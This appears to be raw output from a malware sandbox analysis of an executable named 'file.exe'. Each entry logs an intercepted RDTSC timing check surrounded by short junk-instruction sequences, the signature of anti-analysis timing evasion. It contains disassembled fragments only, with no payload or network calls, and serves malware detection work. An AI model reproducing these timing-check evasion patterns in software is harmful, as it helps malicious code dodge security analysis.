Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7925C1 second address: 7925E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0160DEF33Ah 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F0160DEF332h 0x00000013 js 00007F0160DEF332h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7925E9 second address: 79261B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0160DBD2B6h 0x0000000a popad 0x0000000b jne 00007F0160DBD2DCh 0x00000011 jmp 00007F0160DBD2C4h 0x00000016 push eax 0x00000017 jmp 00007F0160DBD2BAh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792741 second address: 79274C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79274C second address: 792752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792752 second address: 79275F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0160DEF326h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79289E second address: 7928BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0160DBD2B6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F0160DBD2C0h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7928BE second address: 7928C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7929F4 second address: 7929F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7929F8 second address: 792A17 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007F0160DEF326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0160DEF331h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792CA9 second address: 792CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792CC2 second address: 792CC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792CC8 second address: 792CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0160DBD2C8h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7971E2 second address: 7971E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A78B second address: 79A797 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A797 second address: 79A79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A79B second address: 79A79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A79F second address: 79A7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A48D second address: 79A4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2BCh 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007F0160DBD2C9h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A4B9 second address: 79A4D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F0160DEF326h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jg 00007F0160DEF326h 0x00000011 popad 0x00000012 jp 00007F0160DEF32Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BD99 second address: 79BDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2C6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BDB9 second address: 79BDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BDBF second address: 79BDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0160DBD2B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0160DBD2BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BDD7 second address: 79BDDE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4C94 second address: 7A4CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a jnp 00007F0160DBD2B6h 0x00000010 pop ebx 0x00000011 jl 00007F0160DBD2BCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D10 second address: 7A2D26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF330h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D26 second address: 7A2D45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C2h 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D45 second address: 7A2D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A321B second address: 7A321F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A321F second address: 7A3225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A34A3 second address: 7A34BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 js 00007F0160DBD2B6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F0160DBD2B6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3800 second address: 7A3817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF330h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3A9C second address: 7A3AAA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3AAA second address: 7A3AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0160DEF326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3AB4 second address: 7A3AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3AC5 second address: 7A3ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3ACB second address: 7A3AD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3AD2 second address: 7A3AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F0160DEF334h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3DB4 second address: 7A3DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3DB8 second address: 7A3DCC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F0160DEF326h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3DCC second address: 7A3DF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0160DBD2C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A43AF second address: 7A43D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F0160DEF332h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A497F second address: 7A49DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2C0h 0x00000009 popad 0x0000000a push edi 0x0000000b jmp 00007F0160DBD2BDh 0x00000010 pop edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 jng 00007F0160DBD2BCh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0160DBD2C8h 0x00000020 jmp 00007F0160DBD2C3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A49DE second address: 7A49E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A85D7 second address: 7A85E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A85E2 second address: 7A85EC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0160DEF326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8731 second address: 7A8754 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0160DBD2B8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jp 00007F0160DBD2BCh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 je 00007F0160DBD2B6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8754 second address: 7A8759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A88BE second address: 7A88C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A88C4 second address: 7A88CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A88CE second address: 7A88DF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0160DBD2BCh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEB7E second address: 7AEB83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEB83 second address: 7AEB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5EBE second address: 7B5EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5EC4 second address: 7B5EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F0160DBD2BEh 0x0000000e jnl 00007F0160DBD2D3h 0x00000014 jc 00007F0160DBD2B6h 0x0000001a jmp 00007F0160DBD2C7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5EFD second address: 7B5F07 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0160DEF332h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B632B second address: 7B633C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0160DBD2B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B64B3 second address: 7B64B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B64B8 second address: 7B64C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6B52 second address: 7B6B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6C90 second address: 7B6C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6C94 second address: 7B6C9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4CC second address: 7BD4E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0160DBD2C1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4E5 second address: 7BD4E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4E9 second address: 7BD4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD79C second address: 7BD7A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD1AC second address: 6FD1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2C1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD1C3 second address: 6FD1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0160DEF326h 0x0000000a popad 0x0000000b jmp 00007F0160DEF331h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9505 second address: 7C950A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF0BB second address: 7CF0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3BD3 second address: 7D3BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC69A second address: 7DC69E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC69E second address: 7DC6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0160DBD2BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC6AE second address: 7DC6D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F0160DEF32Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3580 second address: 7E3584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3584 second address: 7E359C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0160DEF326h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F0160DEF32Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E359C second address: 7E35B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F0160DBD2B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E35B5 second address: 7E35B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E35B9 second address: 7E35D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F0160DBD2F2h 0x00000010 pushad 0x00000011 ja 00007F0160DBD2B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3AF2 second address: 7E3AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3AFA second address: 7E3B32 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0160DBD2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F0160DBD2C6h 0x00000012 je 00007F0160DBD2B6h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F0160DBD2B6h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3B32 second address: 7E3B38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E794D second address: 7E7951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7951 second address: 7E7961 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0160DEF326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7961 second address: 7E7965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EED2E second address: 7EED34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8EB6 second address: 7F8EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3569 second address: 7F3589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0160DEF334h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BD9 second address: 807BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BDD second address: 807BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169BF second address: 8169E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F0160DBD2C2h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816C91 second address: 816C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8174A2 second address: 8174A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A1B3 second address: 81A1B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A3E5 second address: 81A3EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A3EA second address: 81A410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007F0160DEF333h 0x0000000e jmp 00007F0160DEF32Dh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
